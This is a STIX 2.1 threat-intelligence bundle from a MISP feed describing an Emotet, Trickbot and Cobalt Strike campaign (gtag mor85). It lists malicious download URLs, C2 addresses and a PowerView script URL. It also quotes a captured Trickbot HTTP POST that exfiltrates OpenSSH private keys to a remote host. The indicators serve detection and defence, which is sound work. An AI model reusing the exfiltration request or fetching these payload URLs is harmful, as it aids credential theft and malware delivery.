adulau/misp-circl-feed
1
0
Fork 0
Code Issues 1 Pull requests Projects 1 Releases Packages Wiki Activity Actions
misp-circl-feed/feeds/circl/stix-2.1/5e30d3b9-b330-44ac-8104-97af950d210f.json

272 lines
No EOL
12 KiB
JSON
Raw Blame History

{
"type": "bundle",
"id": "bundle--5e30d3b9-b330-44ac-8104-97af950d210f",
"objects": [
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-31T12:03:27.000Z",
"modified": "2020-01-31T12:03:27.000Z",
"name": "laskowski-tech.com",
"identity_class": "organization"
},
{
"type": "report",
"spec_version": "2.1",
"id": "report--5e30d3b9-b330-44ac-8104-97af950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-31T12:03:27.000Z",
"modified": "2020-01-31T12:03:27.000Z",
"name": "Emotet - Trickbot - CobaltStrike - gtag mor85",
"published": "2020-01-31T12:04:58Z",
"object_refs": [
"indicator--5e30d49a-6728-426b-bd62-97d0950d210f",
"indicator--5e30d4ef-4b40-43e3-809f-7485950d210f",
"indicator--5e30d4f1-3e34-4a15-86c7-7485950d210f",
"indicator--5e30d590-5cb8-47fd-86e1-47c4950d210f",
"x-misp-attribute--5e30d847-7174-4b17-97d2-97d2950d210f",
"indicator--5e30d8a1-0190-4c85-bab9-4fa1950d210f",
"observed-data--5e30de48-a3ac-47bd-999b-4582950d210f",
"url--5e30de48-a3ac-47bd-999b-4582950d210f",
"indicator--5e30d6e6-c0f0-4eaa-bf94-4e65950d210f",
"indicator--5e30d789-8764-429a-bbec-4cdf950d210f"
],
"labels": [
"Threat-Report",
"misp:tool=\"MISP-STIX-Converter\"",
"trickbot",
"emotet:epoch=\"1\"",
"Cobalt Strike",
"PowerView"
],
"object_marking_refs": [
"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d49a-6728-426b-bd62-97d0950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:43:11.000Z",
"modified": "2020-01-29T00:43:11.000Z",
"description": "emotet maldoc download link",
"pattern": "[url:value = 'http://1.magnoec.com/r2v5r/closed_CPo2hqV_9LuHqppjuXGHoSN/870323622452_ABzYhbO_portal/82h8i4qo61essf_4tu0x/']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-27T00:00:00Z",
"valid_until": "2020-01-28T00:00:00Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Payload delivery"
}
],
"labels": [
"misp:type=\"url\"",
"misp:category=\"Payload delivery\"",
"misp:to_ids=\"True\"",
"emotet:epoch=\"1\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d4ef-4b40-43e3-809f-7485950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:43:43.000Z",
"modified": "2020-01-29T00:43:43.000Z",
"description": "Trickbot modules",
"pattern": "[url:value = 'http://107.175.116.133/images/lastimg.png']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-29T00:43:43Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"url\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\"",
"trickbot"
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d4f1-3e34-4a15-86c7-7485950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:43:32.000Z",
"modified": "2020-01-29T00:43:32.000Z",
"description": "Trickbot modules",
"pattern": "[url:value = 'http://107.175.116.133/images/mini.png']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-29T00:43:32Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"url\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\"",
"trickbot"
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d590-5cb8-47fd-86e1-47c4950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:45:42.000Z",
"modified": "2020-01-29T00:45:42.000Z",
"description": "trickbot c2",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '181.196.207.202' AND network-traffic:dst_port = '449']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-28T00:00:00Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst|port\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\"",
"trickbot"
]
},
{
"type": "x-misp-attribute",
"spec_version": "2.1",
"id": "x-misp-attribute--5e30d847-7174-4b17-97d2-97d2950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:57:09.000Z",
"modified": "2020-01-29T00:57:09.000Z",
"labels": [
"misp:type=\"text\"",
"misp:category=\"Network activity\""
],
"x_misp_category": "Network activity",
"x_misp_comment": "Trickbot looking to exfil SSH keys",
"x_misp_type": "text",
"x_misp_value": "```\r\nPOST /mor85/$HOSTNAME_W10017763.17B12C3CA6F6245FD0479319017B8DF1/81/ HTTP/1.1\r\n\r\nAccept: */*\r\n\r\nContent-Type: multipart/form-data; boundary=---------XYYUIBBYFVTYXHJK\r\n\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)\r\n\r\nHost: 203.176.135.102:8082\r\n\r\nContent-Length: 210\r\n\r\nConnection: Close\r\n\r\nCache-Control: no-cache\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"data\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"source\"\r\n\r\n\r\n\r\nOpenSSH private keys\r\n\r\n-----------XYYUIBBYFVTYXHJK--\r\n```"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d8a1-0190-4c85-bab9-4fa1950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:58:09.000Z",
"modified": "2020-01-29T00:58:09.000Z",
"description": "Trickbot Exfil On port 8082",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '203.176.135.102' AND network-traffic:dst_port = '8082']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-29T00:58:09Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst|port\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--5e30de48-a3ac-47bd-999b-4582950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T01:22:16.000Z",
"modified": "2020-01-29T01:22:16.000Z",
"first_observed": "2020-01-29T01:22:16Z",
"last_observed": "2020-01-29T01:22:16Z",
"number_observed": 1,
"object_refs": [
"url--5e30de48-a3ac-47bd-999b-4582950d210f"
],
"labels": [
"misp:type=\"link\"",
"misp:category=\"External analysis\""
]
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--5e30de48-a3ac-47bd-999b-4582950d210f",
"value": "https://laskowski-tech.com/2020/01/29/is-that-really-your-av-company-trickbot-gtag-mor85/"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d6e6-c0f0-4eaa-bf94-4e65950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:51:48.000Z",
"modified": "2020-01-29T00:51:48.000Z",
"pattern": "[url:value = 'https://sophosdefence.com:80/agergbvafdsvgbrt' AND url:x_misp_text = 'Cobalt Strike C2 delivered by trickbot' AND url:x_misp_ip = '149.248.5.240' AND url:x_misp_domain = 'sophosdefence.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-29T00:51:48Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "network"
}
],
"labels": [
"misp:name=\"url\"",
"misp:meta-category=\"network\"",
"misp:to_ids=\"True\"",
"Cobalt Strike"
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5e30d789-8764-429a-bbec-4cdf950d210f",
"created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f",
"created": "2020-01-29T00:55:06.000Z",
"modified": "2020-01-29T00:55:06.000Z",
"pattern": "[url:value = 'https://qwe4dse4.com/hcxUr9dg.ps1' AND url:x_misp_ip = '45.32.211.239' AND url:x_misp_domain = 'qwe4dse4.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2020-01-29T00:55:06Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "network"
}
],
"labels": [
"misp:name=\"url\"",
"misp:meta-category=\"network\"",
"misp:to_ids=\"True\"",
"PowerView"
]
},
{
"type": "marking-definition",
"spec_version": "2.1",
"id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9",
"created": "2017-01-20T00:00:00.000Z",
"definition_type": "tlp",
"name": "TLP:WHITE",
"definition": {
"tlp": "white"
}
}
]
}
Reference in a new issue View git blame Copy permalink